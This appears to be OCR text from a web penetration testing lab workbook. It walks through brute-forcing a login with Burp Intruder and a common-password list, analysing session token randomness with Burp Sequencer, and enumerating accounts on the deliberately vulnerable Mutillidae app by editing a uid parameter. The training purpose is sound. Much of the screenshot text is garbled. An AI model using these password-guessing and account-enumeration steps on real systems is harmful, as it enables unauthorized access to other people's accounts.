12 Cookie: phpbb3 grk7n_u=48; phpbb3_grk7n_k=; phpbb3_grk7n_sid=ce2553d81bd&dd70f8993528d82c077e
13 Upgrade-Insecupe 1
14
15 user=adent&pas tton=Login
@@ ‘i”jl ‘ 0 matches Clear
1 payload position Length: 601
5. Now, click the Payloads tab.
6. Choose Simple List from the Payload Sets menu. Then click Load under Payload Options [Simple list].
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Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder
1 % 2 x
Target Positions Payloads Options

(?) Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attad
available for each payload set, and each payload type can be customized in different ways.

Payload set: | 1 ' Payload count: O

Request count: O

(?) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

’ Add Enter a new item

] Add from list .. -

7-select the file /opt/seclists/Passwords/Common-Credentials/10-million-password-1list-top-1000.txt and click
Open.
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- + X

Look In: ‘- Common-Credentials v B AN .

il 500-worst-passwords.txt
i best1050.txt
best110.txt

il 10-million-password-list-top-100000.txt

| 10-million-password-list-top-1000000.txt swords-win.txt

i 10-million-password-list-top-500.txt il four-digit-pin-codes-sorted-by-frequency-withcount
il 10k-most-common.txt ] medical-devices.txt
“
.
File Name: | 10-million-password-list-top-1000.txt |

Files of Type: | All Files

©

. Click Start attack.

Burp Project Intruder Repeater Window Help

(@) Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are
available for each payload set, and each payload type can be customized in different ways.

Payload set: | 1 v l Payload count: 1,000

Payload type: | Simple list v l Request count: 1,000

(@) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 = 2 x
Target Positions Payloads Options

| Paste ||123456
————— | password
| tosd.. | 12345678
‘ Remove ‘qwerty
123456789 >
‘ Clear ‘ 12345
1234
11111
[ agd |[entera |
[ Add fromist ... |
Burp Results

1. All fuzzing attempts generated a 200 HTTP status code.
2. This is quite common.
3. Sort by length, largest to smallest, to see the successful request.

4. Click on the dragon payload, and then click on the Response tab to see the HTML response.
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v Intruder attack 1 - + X
Attack  Save Columns

Results Target Paositions Payloads Options

Filter: Showing all items ‘@
Request Payload Status Error Timeout Length Comment

0 dragon 200 | | [ | 644
1 123456 200 J ] 509

password 200 ] ] 509

3 12345678 200 ] ] 509

Request h

M-8 Raw Render ‘n  Actions v

1 HTTP/1.1 200 0K

2 Date: Tue, 20 Apr 2021 11:28:45 GMT

3 Server: Apache/2.4.29 (Ubuntu)

4 Vary: Accept-Encoding

S Content-Length: 453

5 Connection: close

7 Content-Type: text/html; charset=UTF-8

8

9 =I!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 Transitional//EN"
10 “http://www. w3, org/TR/tml4/loose, dtd"=
11 =html=
12 <head=
13 <title=

Form Login
=/title=

14 <fhead=
15 <body=
15
17
®@|(—||—)| Search.. | 0 matches
Finished —I

5. Manually verify your results by surfing to https:/sec542.org/form/ in Firefox.

6. Log in with the following credentials:
‘Username: adent

"Password: dragon

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox Proxy Selector drop-down and choose [Direct].
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N @
e
© [System Proxy]
@ Burp Community

Burp Pro
@ Zap
Y localhost ~

/& Options
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Exercise 2.6 - Burp Sequencer: Analyzing Session Tokens

One check to verify that session tokens are not predictable is by determining the level of randomness between various session token

values. Sequencer analyzes collected session tokens and performs various tests to determine if there is sufficent entropy (change)
within the set of tokens collected.

« Work with Burp's Sequencer function
+ Review analysis results from an application using strong session tokens

+ Review analysis results from a simulation of collecting weak session tokens

Lab Setup

1. Log in to Security542 VM:
* Username: student
* Password: Security542

2. In the Security542 VM, open Burp Pro and then open Firefox.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

3. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the
default option of Use Burp Defaults).

4. Wait for Burp Pro to launch.

5. Run one instance of Burp pro only. Multiple instances of Burp Pro are running if you see the warning below.

Note
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If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? b4
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

s |

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

6. In Firefox: go to the proxy selector, and choose Burp Pro.

v N B
«" [Direct]
O [system Proxy]
@ Burp Community
Burp Pro
ﬂ @ Zap \
Y localhost ~

/& Options

Challenges

Perform the following steps:

+ Use Burp Sequencer to analyze the session tokens provided when authenticating to the PHPBB application, https://
www.sec542.org/phpbb.

» Credentials for PHPBB:
* Username: student

*+ Password: Security542
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Solution

1. Within the Firefox browser, navigate to https://www.sec542.org/phpbb, and login with the following credentials:

+ Username: student

+ Password: Security542

& .
h B B Security542
. e Bringing you Breaking News from the InfoSec World
creating ™ communities

= Quick links @ FAQ

# Board index

BREAKING INFOSEC NEWS
Breaking InfoSec News

The latest information from the InfoSec world.

LOGIN » REGISTER

Username: | student Password: |sesssssssss | forgot my password | Remember me\:]

2. Switch to the Burp Pro window and go to the Proxy -> HTTP History tab.

Burp Project Intruder Repeater Window Help

Dashboard Intruder Repeater Sequencer

Intercept Options

Click Here

Decoder

w

. Find the request in the HTTP History pane that is the POST request logging into PHPBB.

Note

so that Burp can collect session ids from the application.

For Sequencer to work correctly, you need to find the request that is associated with the response that has the session id,
usually a session cookie. In the screenshot below, note the "Set-Cookie: phpbb3_grk7n_sid=<SESSION ID>" response header.
This is the response in which the session value is set, and so the associated request is what needs to be sent to Sequencer
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# Host Method URL

6 http:/fiwww.sec42.0rg POST  /phpbb/ucp.php?mode=login

1 http://iwww.sec542.0rg GET /phpbb/

4 http:/iwww.sec542.org GET {/phpbb/assetsfjavascript/jquer...
5 http://iwww.sec542.0rg GET /phpbb/styles/prosilver/templa...
6 http:/iwww.sec542.org GET /phpbb/styles/prosilver/templa...
7

http:/fwww.sec542.org GET /phpbb/assetsfjavascript/core.j...

Params Edited Status Length MIMEty.. Extension

200 12618 HTML
200 96674  script
200 12174 script
200 24332 script
200 45271 script

LCaNL s

is
s
is
is

Securit]

Pretty \n  Actions v

POST /phpbb/ucp.php?mode=login HTTP/1.1
Host: www.sec542.org
User-Agent: Mozillas5.0 (¥11; Ubuntu; Linux
x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept:
text/html,application/xhtml+xml,application/xml ;g=
0.9,image/webp, */*;q=0.8 7
Accept-Language: en-US,en;g=0.5 8
Accept-Encoding: gzip, deflate 9
Content-Type: application/x-www-form-urlencoded 10
Content-Length: 75 11
Origin: http://www.sec542.0rg 2
10 Connection: close
11 Referer: http://www.sec542.0rg/phpbb/
12 Cookie: phpbb3 grk7n_u=1; phpbb3_grk7n_k=;
phpbb3_grk7n_sid=44e2238b56ba55434d123424c2f9a319;
PHPSESSID=8b0SuGnSkEieopi86Thal pdiso
Upgrade-Insecure-Requests: 1

W
BwN -

»

un

~ o

o o

w

=

username=student &password=Security542&login=Loginé&

redirect Findex.php%3F

Request Response

Zf-'l Raw Render  \n Actions v

HTTP/1.1 302 Found

Date: Thu, 08 Apr 2021 15:11:58 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: phpbb3 grk7n_u=48; expires=Fri, 08-Apr-

Content-Length: @
Connection: close
Content-Type: text/html; charset=

4. Right click on the POST request, and select Send to Sequencer.
24 http:/fwww.sec542.org GET /phpbb/assets/fonts/fontaweso... v 200 64650 woff2
26 http://www_sec542.org POST  /ohobb/uco.oho?mode=loain N 302 610 HTML php
27 http:/. sec542.0rg GET http:/fwww.sec542.org/phpbb/ucp.php?mode=login 145954 HTML php Security
Remove from scope
Scan
Do passive scan m = =

[Right Click Here] Do actve scan

Pretty MEETE \n  Actions v

Send to Intruder

POST /phpbb/ucp.php?mode=10¢ Send to Repeater
Host: www.sec542.org |
User-Agent: Mozilla/5.0 (X11 Send to Sequencer
x86_64; rv:86.0) Gecko/2010€
Accept:
text/html,application/xhtml+ Send to Comparer (response)
0.9,image/webp, */*;q=0.8

Accept-Language: en-US,en;g=

Accept-Encoding: gzip, defls Request in browser
Content Ture: anelicotioniv)

w M=

I

Show response in browser

oy LN

Ctrl.1 0 Actions v

Ctrl-R

biml . horcot_|TE

021 1 - -
Select This Option
Send to Comparer (request) grk7n_T==sT = T = g

grk7n_k=; expires=Fri, 08-Apr-2(
grk7n_sid=4545e9e2ea30ac3ed4elTt
w.sec542, org/phpbb/index . php?&si

5. The Sequencer tab will highlight briefly, click on the Sequencer tab. You should see the POST request authenticating to PHPBB listed in the Select Live Capture Request listbox.
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Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater oder Compar

Live capture Manual load Analysis options

(?) select Live Capture Request

Click Here

5end requests here from other tools to configure a live capture. Select the request t

|. Remove i Host Reguest

|‘ Clear http:fiwww.sec542.arg POST /phpbb/ucp.php?mode=login ...

6. In the Token Location Within Response section, click the dropdown associated with the Cookie: label, and select the session identifier cookie,

phpbb3_grk7n_sid=&#x3c;SESSION ID&#x3e}; .

Note

Your &#x3c3SESSION ID&#x3e; value will be different from what you see in the screenshot below.

@ Token Location Within Response

Select the location in the response where the token appears.

O Cookie: ‘ phpbb3_grk7n_k= ~ |
phpbb3_grk7n_k=

Form field:

phpobD grk/so =48 .
Custom location @™ obb3_ grk7n_sid=4545e0e2ea30ac3edde] .. | configure |

7. Verify your configuration looks like the screenshot below, and then click the Start live capture button.
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer

Live capture Manual load Analysis options

@ Select Live Capture Request

5end requests here from other tools to configure a live capture. Select the request to use, configure the other o

| Remove || g Host Request
|‘ Clear | 1 http://www.sec542.0rg POST /phpbb/ucp.php?mode=login ...
»
(?) Token Location Within Response

Select the location in the response where the token appears.
O Cookie: | phpbb3_grk7n_sid=4545e9e2ea3ac3edde ... v |

Form field:

Custom location: | Configure |

©

The Live Capture dialog box will open. Note the Live Capture progress bar and Requests status, and that these numbers are incrementing.

Note

Sequencer can collect session ids that the application is returning in the responses.

Burp is sending the POST request that authenticates to PHPBB over and over again. In the screenshot below, 739 requests
have been sent to the application. This is not a quiet process with many, many requests going to the web application so that

w Burp Sequencer [live capture #1: http//www.sec542.org]
@
| Pause | | Copy tokens | || Auto analyze (next: 800) Requests: 739
|. Stop | | Save tokens | | Analyze now | Errors: 0
Summary Character-level analysis Bit-level analysis Analysis Options

9. Wait until the Requests count is more than 10,000 and click the Analyze now button.
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@ Live capture (10032 tokens)  CEE +

| Pause || copytokens | [ |Autoanalyze (next:12000)  Requests: 10032

’ Stop | | Save tokens | Analyze now Errors: 0

Summary Character-level analysis Bit-level analysis lysis Options

Click Here

10. The results of the analysis will appear in the bottom of the Live Capture window. The summary tab opens by default and reports that the quality of randomness (aka entropy) is
excellent.

Note

Your charts will be slightly different from what is seen in the screenshot below, as your analysis if comprised of the session
tokens that you collected.

Summary Character-level analysis Bit-level analysis Analysis Options

Overall result

The overall quality of randomness within the sample is estimated to be: excellent.

At a significance level of 1%, the amount of effective entropy is estimated to be: 117 bits.

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on all tests. Each significance level defines a
probability of the observed results occurring if the sample is randomly generated. When the probability of the observed results occu
below this level, the hypothesis that the sample is randomly generated is rejected. Using a lower significance level means that strong
evidence is required to reject the hypothesis that the sample is random, and so increases the chance that non-random data will be tr
random.

=10

=10

Significance level

=0.1%

=0.01%

=0.001%

11. Click through the Character-level analysis and Bit-level Analysis tabs, as well as the various test results that are found as sub-tabs. If the session tokens have a lot of entropy
(change) between the values, then you will see green bars for most of the bit and byte positions on the charts. Green bars are considered good because that means there is a
sufficient level of entropy in the session token values to make session IDs less likely to be predicatable.
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Note

We are not going to discuss the details of each test that Sequencer performs. If you are interested to know more about the
tests and what each chart means, read the "Test Description" section below each of the graphs. In short: Red bars on the
charts means low entropy, which makes session token values more likely to be predictable, and green bars means a high
level of entropy and session token values are less likely to be predictable.

Summary Character-level analysis Bit-level analysis Analysis Options
FIPS long runs test Spectral tests Correlation Compression Bit conversion
Summary FIPS monobit test FIPS poker test FIPS runs test

Significance Levels

The chart indicates the degree of confidence in the randomness of the sample at each bit position. The significance level at each posil
bit-level results occurring, assuming that the sample is randomly generated.

100%

1%

Bit position

12. Feel free to stop the requests at this point, or let Sequencer run. When the tokens collected reaches 20,000 Sequencer will automatically stop collecting tokens. It can be interesting
to click the Analyse now button again after 20,000 tokens has been collected and compare the results to what you saw at 10,000 tokens.

Perform the following steps:

+ Use Burp Sequencer to analyze a set of weak session tokens.

« For the purposes of this lab, you will generate 10,000 weak tokens using the following Python code. This process is a simulation of
collecting the session tokens manually, using a script, or perhaps through Burp's Intruder function, and then loading the collected
tokens into Sequencer through the Manual Load option.

+ The following Python one-liner will generate the set of tokens to use for this challenge:

python3 -c '[ print("SANSSESS_%05X%05d" % (x, x)) for x 1in range(0,10000) ]' >
weak_sessions.txt
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Solution

1. Open a terminal window and input the following command to generate a set of insecure session tokens.

Note

This step is a simulation of collecting tokens outside of letting Sequencer collect them as we did in the previous challenge. In
a real pentest, you would have collected these tokens manually, using a script, or perhaps through Burp's Intruder function.

2. The following python command prints out 10,000 sample session IDs, in the format:
« Static String: "SANSSESS_"
« Incrementing hexadecimal formatted number padded to 5 digits: "00000",'00001"..."0000A","'0000B"..."0270E",'0270F"
+ The %05X is a Python string formatter that is used to convert the integer stored in the variable "x" into the format seen above.
« Incrementing decimal formatted number padded to 5 digits: "00000",'00000"..."09998","09999"

+ The %05d is a Python string formatter that is used to convert the integer stored in the variable "x" into the format seen above.

python3 -c '[ print("SANSSESS_%05X%05d" % (x, x)) for x in range(0,10000) ]' >
weak_sessions.txt

3- Anew file named weak_sessions.txt wilbecreatedin /home/student that contains 10,000 session tokens. The following list is a sample of the first

several tokens that should be in the file.

4. You can verify the Python command worked as expected using the head command to look at the first 10 entries, as well as the WC command to see how many lines of text are
in the file (should be 10,000).

head weak_sessions.txt

wc -1 weak_sessions.txt

[~]1% python3 -c '[ print("SANSSESS %05X%05d" % (x, x)) for x in range(0,10000) ]
' > weak sessions.txt

[~]1% head weak sessions.txt
SANSSESS 0000000000
SANSSESS 0000100001
SANSSESS 0000200002
SANSSESS 0000300003
SANSSESS 0000400004
SANSSESS 0000500005
SANSSESS 0000600006

[~]1% wc -1 weak sessions.txt
10000 weak sessions.t;t

5. Return back to Burp Sequencer, and switch to the Manual load tab. Be sure that you switch to the main Burp Pro window, NOT the Live Capture window that has the analysis results

from PHPBB's session token analysis.
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Dashboard Target Proxy Intruder Repeater Sequencer Decoder

Live capture Manual load Analysis options
@ Manual Load

This function allows you to load 5€que ith a sample of tokens that you have already obtai

Click Here

Tokens loaded: 0
Shortest:

Longest:

| Paste |
‘ Load ... |

| Clear |

o

. Click the Load... button, and the file selection dialog box will open.

Dashboard Target Proxy Intruder Repeater Sequencer

Live capture Manual load Analysis options

@ Manual Load

This function allows you to load Sequencer with a sample of tokens that you have

Tokens loaded: O

Shortest Click Here

Longest:

Paste

Clear

7- Click the Home/House icon to set the focus to the Student home directory ( /home /student ).
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©

Look In: | B BurpSuitePro e 8 % . :

9 burpbrowser

B chromium-64.0.3282.24

f jre

i Burp Suite Professional.desktop
! burpsuite_pro jar

il BurpsuitePro

i BurpSuitePro.vmoptions

ﬂ sec342-community.json

il secs42json

Click Here

- Select the weak_sessi ons . txt fileyou created with the Python one-liner, and click the Open button.

- +

LookIn: | P student v | M A ..',.. i=

- ]

[ Desktop

' Documents
' Downloads
[ Music

' newroot
[0 Pictures
[ Public

[ snap

[0 Templates
P test-scripts
[ videos

i backdoors.txt
il posttxt

Select This File

Click Here

File Name: | weak_sessions.txt

Files of Type: | All Files

™ |

9- You will see the listbox populate with the session tokens from the weak_sessi ons.txt file. Click the Analyze now button.
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Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer

Live capture Manual load Analysis options

@ Manual Load

This function allows you to load Sequencer with a sample of tokens that you have

Shortest: 19 -
Longest: 19 C“Ck Here

[ Paste |[SANSSESS_0000000000
—————— | sANSSESS_0000100001
=239 || SANSSESS_0000200002
[ Clear | |SANSSESS_0000300003
SANSSESS_0D00400004
SANSSESS_0000500005
SANSSESS_0DO0G00006
SANSSESS_0000700007
SANSSESS_0DO0B0DDOS
SANSSESS_0000900009
SANSSESS_0000A00010
SANSSESS_0000B00O11
SANSSESS_0000C00012
SANSSESS_0000D00013

10. The Burp Sequencer [manual load analysis #1] window will open. The summary tab opens by default and reports that the quality of randomness (aka entropy) is poor.
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- Burp Sequencer [manual load analysis #1] - + X

Summary Character-level analysis Bit-level analysis Analysis Options

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on all tests. Each significance level defines a
results occurring if the sample is randomly generated. When the probability of the observed results occurring falls below this level, t
generated is rejected. Using a lower significance level means that stronger evidence is required to reject the hypothesis that the sam
that non-random data will be treated as random.

=10% 4

=1% o

Significance level

=0.1%

=0.01%

=0.001%

11. Click through the Character-level analysis and Bit-level analysis tabs to see that the graphs report a low level of entropy for most of the byte and bit positions, as indicated by red
bars throughout the graphs. This sample was designed to show what Sequencer's analysis of a set of extremely poor session tokens looks like, as a contrast to the results from
PHPBB's session tokens. Results in real-world applications are not likely to have such a low-level of entropy.

Note

We are not going to discuss the details of each test that Sequencer performs. If you are interested to know more about the
tests and what each chart means, read the "Test Description" section below each of the graphs. In short: Red bars on the
charts means low entropy, which makes session token values more likely to be predictable, and green bars means a high
level of entropy and session token values are less likely to be predictable.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 139


https://technet24.ir

> Burp Sequencer [manual load analysis #1] - 4+ x

Summary Character-level analysis Bit-level analysis Analysis Options
FIPS long runs test Spectral tests Correlation Compression Bit conversion
Summary FIPS monobit test FIPS poker test FIPS runs test

Significance Levels

The chart indicates the degree of confidence in the randomness of the sample at each bit position. The significance level at each posil
bit-level results occurring, assuming that the sample is randomly generated.

100%

10%

1%

0.1%

0.01%

0.001%

S AN EEEN

o1 2 2 4 5 6 7 8 5 10111213 14 15 16 17 18 15 20 27 22 23 24

Bit position

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox proxy selector drop-down and choose [Direct].

N @

= ora ]
|

© [System Proxy]

@ Burp Community
Burp Pro

@ Zap

Y localhost ~

/& Options

3. Close the following windows:

* Burp Sequencer Live Capture window
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* Burp Sequencer Manual Load Analysis window
* Burp Pro
* Firefox browser

* Terminal window
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Exercise 2.7 - Authentication Bypass

Objectives
« Exploit authentication bypass in an application

+ Leverage Burp repeater to manually determine valid user accounts

+ Use Burp Intruder to enumerate all valid user accounts

+ Reuse a parameter from the URI as a cookie to perform authentication bypass

Note

This lab assumes you have imported Burp Pro's SSL certificate into Firefox. If you have not done so already, please go to Lab 1.1
and complete that process.

Challenge: No Hints

Perform the following steps:

+ Open Firefox and navigate to https:/www.sec542.org/mutillidae/.

« Clear the database by clicking the Reset DB menu item.

®% OWASP Mutillidae 1I: Keep Calm an

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) L
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log |

OWASP 2017 »
OWASP 2013 » ‘
TIP:
OWASP 2010 »
V! p. »
Tvice »
>

v Hints and Videos

OWASP 2007

Web Services
HTML 5

* Register a new account and log in.

What Should | Do? e Help Me!

* Username: student

+ Password: Security542
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Solution

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

2. Wait for Burp Pro to launch.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

w

. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X
Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port
8080 because it is in use by another instance.

4. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the default option of Load from configuration file).

5. In Firefox, go to the proxy selector, and choose Burp Pro.
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N @
<" [Direct]
O [System Proxy]
@ Burp Community

Burp Pro

'ﬂ @ zap \

Y localhost -

/4 Options

o

. Then surf to: https://www.sec542.org/mutillidae/.

~N

. Click Login/Register.

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

5 Hints and Videos
OWASP 2013 »

\ TIP: Click Hint and Videos
OWASP 2010 » on each page

OWASP 2007 4

OWASP 2017 |

What Should | Do? e Help Me!

Web Services »
HTML 5 4

Others »
Listing of vulnerabilities n Video Tutorials

Documentation »

Resources »

Donate Today! Release Announcements & Latest Version

Want to Help?

Video Tutorials

o

e

Announcements

=

Getting Started

' Helpful hints and scripts \*,\“ Some Useful Firefox Add-ons

& %

8. Click Please register here.
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®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017  » =
[ Login
OWASP 2013  »
OWASP 2010  » Back g Help Me!
[ -
OWASP 2007 » —
‘ v Hints and Videos \
Web Services »
HIMLS ¢ ( Please sign-in )
Others
Username (
Documentation » Password [
Resources
Donate Today! .
w:,:: io‘)Hag.p-, Dont have an account? Please register here

9. Create an account:
‘Username: student

*Password: Security542

10. Then click "Create Account".

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017 » [ Register for an Account ]
OWASP 2013 »

OWASP 2010  » <:§ Back e Help Me!

OWASP 2007 »

Hints and Videos
Web Services

HTML 5 »

f—&.
A’AX Switch to RESTful Web Service Version of this Page
Others 4_./

Documentation »

Resources [ Please choose your username, password and signature ]
D te Today!
Wf:nn:: :ooHaglp? Username student 4
Password = [sssesenen < RPN
u Confirm Password [ 4

Video Tutorials

’ Signature

4
Announcements /
;

« Create a second account (whichever username/password you prefer)
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Solution

Create a second account, using the username and password of your choice.

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017 » [

Register for an Account
OWASP 2013 »

OWASP 2010 » % Back @ Help Me!

= =
OWASP 2007 »

Hints and Videos \
Web Services

HTML 5 . Account created for student. 1 rows inserted.

Documentation »

Switch to RESTful Web Service Version of this Page

Resources »

Donate Today!
Want to Help?

_®

u Username adent 4
Video Tutorials Password [Freemeeenes ‘ e =
‘ Confirm Password [ 4
Announcements Signature

/
Getting started

+ Use Burp or ZAP to determine the UID of the student account
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Solution

1. Click Login/Register again. and log in with the following credentials:
‘Username: student

*Password: Security542

( Login ]

Back g Help Me!

| @ Hints and Videos |

[ Please sign-in }
Username student 4—
P d ( )

Dont have an account? Please register here

N

. You should now be logged in as student.

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Logged In User: student@
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017 » = . -
‘ v Hints and Videos ‘

OWASP 2013 >
TIP: Click Hint and Videos
OWASP 2010 » on each page

OWASP 2007 »
Web Services » ? What Should | Do? e Help Me!

HTML 5 4

n Listing of vulnerabilities n Video Tutorials

w

In the menu bar where the logged in username (student) appears, there is an icon to edit the account profile for the logged in user. The button looks like a pencil with a square box
around it. Click the edit account profile button:

» Calm and Pwn On

1 - Try easier) Logged In User: stude
eset DB | View Log | View Captured Data

\ TIP: Click Hint and Videos

4. Then switch to Burp Pro, and go to Proxy -> HTTP history. Scroll to the bottom and find the matching request to https:/www.sec542.org/mutillidae/index.php?page=edit-account-
profile.php&uid=24.
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5. Inspect the raw request, and notice uid=24 parameter in the URI.

Note

You may have to expand the "URL' column width in Burp to see the full URI.

http:fiwww.sec542.org GET /mutillidaefindex.php?page=edit-account-profile.php&uid=24

36 http:/fwww.sec542.arg POST  /mutillidaefindex.php?page=login.php v

Request

GET /mutillidae/index.php?page=edit-account-profile.php&uid=24 HTTP/1.1

(1]

User-Agent: Mozilla/5.0 (X¥11:; Ubuntu: Linux x856_64; rv:86.0 0/20100101
Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9, imNge  webp, */%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http:// www.sec542, org/mutillidae/index . php?popUpNotificatioMgpde=ALL
Connection: close

Cookie: PHPSESSID=mc3velSljdisd9s7aSvue]e3us

10 Upgrade-Insecure-Requests: 1

N

M

12

* Infer the second account's UID
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Solution

1. We created the student account first, followed by the second account. The uid for the second account is probably 25 , so let's try to hack that.

36 http:/fwww.sec542.arg POST  /mutillidae/index.php?page=login.php v

http:fiwww.sec542.org GET /mutillidaefindex.php?page=edit-account-profile.php&uid=24

Request

GET /mutillidae/index.php?page=edit-account-profile.php&uid=24 HTTP/1.1
User-Agent: Mozilla/5.0 (X¥11; Ubuntu: Linux x86_64; rv:86.0 0/20100101
Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9, imWge  webp, */%;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http:// www.secS542, org/mutillidae/index.php?popUpNotificatioMgpde=ALL
Connection: close

Cookie: PHPSESSID=mc3velSljdisd9s7aSvue]e3us

10 Upgrade-Insecure-Requests: 1

11

12

[ W I =9 (1]

)]

N

. Go to Proxy -> Intercept and click the Intercept is off button, so that the text on the button face changes to Intercept is on.

Burp Project Intruder Repeater Window Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer

HTTP history WebSockets history Options

Forward Drop Action Open Browser

Use Burp's embedded browser

There's no need to configure your proxy settings manually. Use Burp's embedded

Exte

3. Then go back to Firefox and reload the Edit Account Profile page.

4 Burp will pop up on the Intercept page. Change the URI parameter uid=24 to uid=25 inthe firstline of the GET request.
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Intercept HTTP history Web5Sockets history Options

/ Request to http:/fwww.sec542.0rg:80 [10.42.42.42]

‘_ Forward ‘ | Drop | Interceptis on | Action | | Open Browser

Fretty EGETUE \n Actions W

1 GET /mutillidae/index.php?page=edit-account-profile. ghp&uid=25 P/1.1

2 Host: www.sec542.org

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 84; rv:86.0) ko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9, Swebp, ¥ /% ;q=0.8
Accept-Language: en-US,en:g=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.sec542. org/mutillidae/index. php?popUphotificaty
Connection: close
Cookie: PHPSESSID=mc3veiSljdisd967aSvueje3us
10 Upgrade-Insecure-Requests: 1
11 Pragma: no-cache
12 Cache-Control: no-cache
13
14

\]

L s

Code=ALL

o

o

Then click the Intercept is on button, the button face will change to Intercept is off and Burp will send your modified request to the application.

o

Go back to Firefox, and you should now see the name of the second account you created in the Username textbox.

| Edit Profile

% Back Q Help Me!

g E -

o

‘» =1 Hints and Videos

’-a
A‘Ax Switch to RESTful Web Service Version of this Page

— g

[ Please choose your username, password and signature ]

Password Generator

Confirm Password -

Signature

[ Update Profile ]
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Note

You will still be logged in as student, so student will still appear as the name of the Logged In User. But, since the username
textbox changed, we have an opportunity to enumerate all of the usernames within the application.

» Determine the names of all accounts from UID 0 to 50
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Solution

1. We first will leverage Burp Repeater to manually perform username enumeration using the UID parameter in the URI.

2. Burp Repeater is a simple tool for manually manipulating and reissuing individual HTTP requests, and analyzing the application’s responses. You can use Repeater for all kinds of

purposes, such as changing parameter values to test for input-based vulnerabilities, issuing requests in a specific sequence to test for logic flaws, and reissuing requests from Burp

Scanner issues to manually verify reported issues.[1]

w

than just Request show up above the request portion of the window.

. Go to Burp -> Proxy -> HTTP History, find the last request for the Edit Account Profile page that we modified through the Intercept feature, https://www.sec542.org/mutillidae/
index.php?page=edit-account-profile.php&uid=24. This request should be near the bottom of the HTTP History list, and when selected you will see the label Original request, rather

Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,1image/webp,*/*;q=0.8

Ul s

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.sec542, org/mutillidae/index.php?popUpNotificationCode=AUL
